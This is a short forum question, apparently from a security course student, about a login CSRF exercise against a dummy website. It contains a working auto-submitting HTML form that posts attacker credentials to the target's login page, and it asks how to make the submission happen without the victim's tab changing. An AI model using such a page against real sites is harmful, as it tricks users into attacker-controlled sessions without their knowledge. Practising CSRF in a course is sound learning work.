I'm practicing a CSRF attack for my course and I have to attack a dummy website by creating a "fake" page. I have the following code
csrf.html
<!DOCTYPE html> <head>CSRF_ATTACK_PT1</head> <body> <form name ='csrf_form' action='http://course_website/login' method="POST"> <input type='hidden' name='username' value='attacker_id'> <input type='hidden' name='password' value='attacker_pw'> </form> <script> document.csrf_form.submit(); </script> </body> The code above works perfectly, except that every time I open csrf.html it will also open up the course_website page. I just want it to remain on csrf.html and not redirect/ open up a new tab.
After looking through SO (I don't know much js..), I tried
<script> document.csrf_form.submit(function(){ return false; }); </script> and adding a onsubmit = return false; to the form itself, but neither works.
What is the best thing to do here?
PS: not sure if this changes anything, but I used action as oppose to target in my form because one works and the other does not. Anything that I have to watch out for?